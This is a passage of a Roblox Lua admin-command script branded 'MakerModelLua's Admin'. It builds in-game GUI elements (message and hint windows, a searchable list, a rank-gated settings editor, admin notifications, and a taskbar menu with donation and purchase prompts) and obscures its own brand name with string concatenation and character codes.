4016 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4017
4018 if Frame then
4019 local FormBar = Frame.Parent.Parent.FormBar
4020 local Said = false
4021 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4022 if Settings.EnableTaskBar then
4023 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4024 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4025 else
4026 Speak.Position = UDim2.new(1, -58, 0, 5)
4027 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4028 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4029 end
4030 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4031 if not Said then
4032 Said = true
4033 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4034 end
4035 end)
4036
4037 if TextColor then
4038 Body.TextColor3 = TextColor
4039 else
4040 Body.TextColor3 = Color3.new(1,1,1)
4041 end
4042
4043 if tonumber(Time) then coroutine.wrap(function()
4044 if AutoTime then
4045 Time = Time + math.floor(#BodyText/7)
4046 end
4047 local Alive = true
4048
4049 local function StopTimer() Alive = false end
4050 Closed.Event:connect(StopTimer)
4051 Minimized.Event:connect(StopTimer)
4052
4053 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4054 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4055 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4056 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4057 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4058 for i = Time,0,-1 do
4059 for ii = 1,10 do
4060 if Alive == true then
4061 Ticker.Text = i
4062 wait(0.1)
4063 else
4064 break
4065 end
4066 end
4067 end
4068 if Alive == true then
4069 Close:Invoke()
4070 else
4071 Ticker:Destroy()
4072 Stop:Destroy()
4073 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4074 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4075 end
4076 end)() end
4077
4078 CORE:ExecuteResource("CalculateScrollY", Body)
4079 end
4080end
4081
4082function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4083 if not Player then return nil end
4084 if not Player:IsA("Player") then return nil end
4085 if BodyText == "" then return nil end
4086 if not Player:FindFirstChild("PlayerGui") then return nil end
4087 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4088 local TextColor = GUI:ContrastColor()
4089 if Error then TextColor = Color3.new(1,0,0) end
4090
4091 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4092 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4093
4094 CORE:ExecuteResource("CalculateScrollY", Body)
4095
4096 return Frame, Close, Closed, Minimize, Minimized
4097end
4098
4099function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4100 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4101 local TweenTime = 0.5
4102 if not Time then Time = 5 end
4103 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4104 local MaxPos = -1
4105 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4106 local IVal = SGObj:FindFirstChild("Index")
4107 if IVal then
4108 MaxPos = math.max(MaxPos, IVal.Value)
4109 end
4110 end
4111 MaxPos = MaxPos + 1
4112 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4113 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4114 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4115 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4116 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4117 SG.Parent = Player.PlayerGui
4118
4119 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4120 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4121
4122 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4123 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4124 Delay(TweenTime, function()
4125 for i = 1,0,-0.1 do
4126 Body.TextTransparency = i
4127 wait()
4128 end
4129 Body.TextTransparency = 0
4130 end)
4131 Delay(TweenTime + Time, function()
4132 for i = 0,1,0.1 do
4133 Body.TextTransparency = i
4134 wait()
4135 end
4136 Body.TextTransparency = 1
4137 local Done = false
4138 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4139 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4140 end)
4141
4142end)() end
4143
4144function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4145 if not Player then return nil end
4146 if not Player:FindFirstChild("PlayerGui") then return nil end
4147 if not PreSearch then PreSearch = "" end
4148 if AutoNumber == nil then AutoNumber = true end
4149
4150 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4151 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4152 SearchBar.Parent = Frame.Parent
4153 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4154 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4155
4156 local SearchVer = 0,nil
4157 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4158 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4159 local InDialog = false
4160
4161 local function ShowResults(Key)
4162 SearchVer = SearchVer + 1
4163 local ThisSearchVer = SearchVer
4164
4165 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4166 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4167
4168 local NumPos,Num = 0,1
4169
4170 for _,Data in pairs(List) do
4171 if ThisSearchVer ~= SearchVer then
4172 break
4173 end
4174 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4175 if String then
4176 local ImageIcon = nil
4177 if type(Data) == "table" then
4178 String = Data[1]
4179 ImageIcon = Data[2]
4180 end
4181
4182 local TextColor = GUI:ContrastColor()
4183 local StringSplit = STRING:GetSplit(String, 1, " ")
4184 local NewColor = GUI:GetColor(StringSplit[1])
4185 if NewColor then TextColor = NewColor String = StringSplit[2] end
4186
4187 if string.find(string.lower(String), string.lower(Key)) then
4188 Spacer = false
4189 local Font = Settings.Font
4190 local Split = STRING:GetSplit(String, 1, " ")
4191 if string.sub(string.lower(String),1,6) == "bold: " then
4192 Font = "ArialBold"
4193 String = string.sub(String,7)
4194 elseif Fonts[Split[1]] then
4195 Font = Split[1]
4196 String = Split[2]
4197 end
4198 if string.sub(String,1,2) == "--" then
4199 Spacer = true
4200 end
4201 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4202 if ImageIcon then
4203 if tonumber(ImageIcon) then
4204 ImageIcon = "rbxassetid://"..ImageIcon
4205 elseif Icons[ImageIcon] then
4206 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4207 end
4208
4209 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4210 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4211 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4212 Content.Text = ""
4213 NumPos = NumPos + 90
4214 else
4215 NumPos = NumPos + 30
4216 end
4217
4218 if not Clickable then
4219 Content.AutoButtonColor = false
4220 Content.Active = false
4221 Content.BackgroundTransparency = 1
4222 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4223 SOUND:BindButton(Content)
4224 CORE:HandleEvent(Content, "MouseButton1Down", function()
4225 if not InDialog then
4226 Clicked:Fire(String)
4227 end
4228 end, true)
4229 end
4230 if Spacer == false then Num = Num + 1 end
4231 end
4232 end
4233 end
4234 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4235 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4236 end
4237
4238 RequestDialog.OnInvoke = function(RequestDialogCall)
4239 InDialog = RequestDialogCall
4240 end
4241
4242 ShowResults(PreSearch)
4243
4244 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4245 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4246 if Prop == "Text" then
4247 local Text = CORE:ReadProperty(RPR, Player, "Text")
4248 ShowResults(Text)
4249 Frame.CanvasPosition = Vector2.new(0,0)
4250 end
4251 end)
4252
4253 return Clicked, RequestDialog, Close
4254end
4255
4256function GUI:PropertyGui(Player, Title, Icon, Properties)
4257 if not Player then return nil end
4258 if not Player:FindFirstChild("PlayerGui") then return nil end
4259 if type(Properties) ~= "table" then return nil end
4260 local HasClosed = false
4261 local NewProperties = {}
4262
4263 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4264 Frame.ClipsDescendants = true
4265 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4266
4267 for PropertyName,Data in pairs(Properties) do
4268 NewProperties[PropertyName] = Data[1]
4269 end
4270
4271 local YCount = 0
4272
4273 for PropertyName,Data in pairs(Properties) do
4274 if type(Data) == "table" then
4275 local DefaultValue = Data[1]
4276 local Writable = Data[2]
4277 local ValueType = Data[3]
4278
4279 if Writable == nil then Writable = false end
4280 if type(ValueType) == "string" then -- now this is confusing
4281 ValueType = string.lower(ValueType)
4282 elseif ValueType == nil then
4283 ValueType = type(DefaultValue)
4284 end
4285
4286 if ValueType == "nil" or ValueType == "userdata" then
4287 ValueType = nil
4288 elseif ValueType == "table" then
4289 DefaultValue = STRING:UnpackArgs(DefaultValue)
4290 ValueType = "string"
4291 end
4292
4293 if ValueType then
4294 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4295 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4296 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4297
4298 if ValueType == "string" or ValueType == "number" then
4299 if Writable == true then
4300 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4301 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4302 if ValueType == "number" then
4303 NewProperties[PropertyName] = tonumber(Input.Text)
4304 else
4305 NewProperties[PropertyName] = tostring(Input.Text)
4306 end
4307 end end)
4308 else
4309 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4310 end
4311 end
4312 if ValueType == "boolean" then
4313 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4314 if DefaultValue == true then
4315 Check.Image = "rbxassetid://48138491"
4316 end
4317 if Writable == true then
4318 CORE:HandleEvent(Check, "MouseButton1Down", function()
4319 local NewVal = not NewProperties[PropertyName]
4320 NewProperties[PropertyName] = NewVal
4321 if NewVal == true then
4322 Check.Image = "rbxassetid://48138491"
4323 else
4324 Check.Image = "rbxassetid://48138474"
4325 end
4326 end)
4327 else
4328 Check.ImageTransparency = 0.5
4329 end
4330 end
4331 YCount = YCount + 50
4332 end
4333 end
4334 end
4335
4336 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4337
4338 Closed.Event:connect(function() HasClosed = true end)
4339
4340 repeat wait(0.1) until HasClosed
4341 return NewProperties
4342end
4343
4344function GUI:SettingsGui(Player)
4345 if not Player then return nil end
4346 local CloneViewSettings,CanChange = {},false
4347
4348 local ViewSettings = {
4349 ["Version"] = {CORE.Version.Value, false, nil};
4350 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4351 ["Font"] = {Settings.Font, 3, "Font"};
4352 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4353 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4354 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4355 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4356 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4357 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4358 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4359 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4360 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4361 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4362 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4363 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4364 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4365 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4366 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4367 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4368 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4369 ["Bet"] = {Settings.Bet, 3, "Bet"};
4370 }
4371
4372 local _,RankNum = RANK:GetRank(Player)
4373 if RankNum >= 3 then
4374 CanChange = true
4375 end
4376
4377 for Prop,Data in pairs(ViewSettings) do
4378 local Writable = false
4379 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4380 CloneViewSettings[Prop] = {Data[1], Writable}
4381 end
4382
4383 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4384 if CanChange then
4385 for Prop,Data in pairs(ViewSettings) do
4386 if Data[3] then
4387 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4388 end
4389 end
4390 CORE:FixSettings()
4391 end
4392end
4393
4394function GUI:MessageAdmins(TitleText, BodyText, Icon)
4395 for _,Player in pairs(Server.Players:GetPlayers()) do
4396 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4397 if PlayerAdmin then
4398 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4399 end
4400 end
4401end
4402
4403function GUI:TellAdmin(Player)
4404 if not Player then return end
4405
4406 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4407 if ValidAdmin == true then
4408 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4409 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4410 local SoundID = 237866523
4411 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4412 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4413 Sound:Play()
4414 coroutine.wrap(function()
4415 wait(4)
4416 Sound:Stop()
4417 Sound:Destroy()
4418 end)()
4419 end
4420 end
4421end
4422
4423function GUI:TellNotAdmin(Player)
4424 if not Player then return end
4425
4426 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4427end
4428
4429function GUI:CreateTaskBar(Player)
4430 if not Player then return nil end
4431 if Settings.EnableTaskBar == false then return nil end
4432 Player:WaitForChild("PlayerGui")
4433 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4434 if SG then SG:Destroy() end
4435 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4436 local IsMoving = false
4437 local TaskBarShown = false
4438 local Tasks = {}
4439
4440 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4441 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4442
4443 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4444 local Open,CloseForm = false,nil
4445 if Settings.EnableAdminMenu then
4446 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4447 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4448 if Open == false then
4449 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4450 Open,CloseForm = true,Close
4451
4452 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4453 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4454 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4455 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4456 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4457 local function DonateMoney(Type, Element)
4458 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4459 local Get = Request[Type]
4460 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4461 Server.MPS:PromptPurchase(Player, Get[1], true)
4462 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4463 Server.MPS:PromptPurchase(Player, Get[2], true)
4464 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4465 Server.MPS:PromptPurchase(Player, Get[3], true)
4466 else
4467 Element.Text = "Cannot get request"
4468 end
4469 end
4470 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4471 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4472 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4473 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4474 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4475 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4476
4477 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4478
4479 if Closed then
4480 Closed.Event:connect(function()
4481 Open = false
4482 end)
4483 end
4484 else
4485 CloseForm:Invoke()
4486 end
4487 end) end)()
4488 if RANK:GetRank(Player) == "Owner" then
4489 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4490 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4491 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4492 if HUDSG then
4493 HUDSG:Destroy()
4494 else
4495 GUI:CreateHUD(Player)
4496 end
4497 end)
4498 end
4499 end
4500
4501 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4502 if IsMoving == false then
4503 if TaskBarShown == true then
4504 TaskBarShown = false
4505 IsMoving = true
4506 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4507 else
4508 TaskBarShown = true
4509 IsMoving = true
4510 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4511 end
4512 end
4513 end)
4514
4515 local function ReloadIcons()
4516 for Num,Data in pairs(Tasks) do
4517 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4518 end
4519 end
4520
4521 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4522 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4523 table.insert(Tasks, {Form, Icon})
4524 local CanClick = true
4525 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4526 if Form.IsActive.Value == false then
4527 Restore:Invoke()
4528 elseif CanClick == true then
4529 coroutine.wrap(function()
4530 CanClick = false
4531 local DefPos = Form.Dragger.Position
4532 for i = 1,15 do
4533 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4534 wait(0.05)
4535 end
4536 Form.Dragger.Position = DefPos
4537 CanClick = true
4538 end)()
4539 end
4540 end)
4541 ReloadIcons()
4542
4543 Closed.Event:connect(function()
4544 for Num,Data in pairs(Tasks) do
4545 if Data[1] == Form then
4546 Icon:Destroy()
4547 table.remove(Tasks, Num)
4548 end
4549 end
4550 ReloadIcons()
4551 end)
4552 end)
4553end
4554
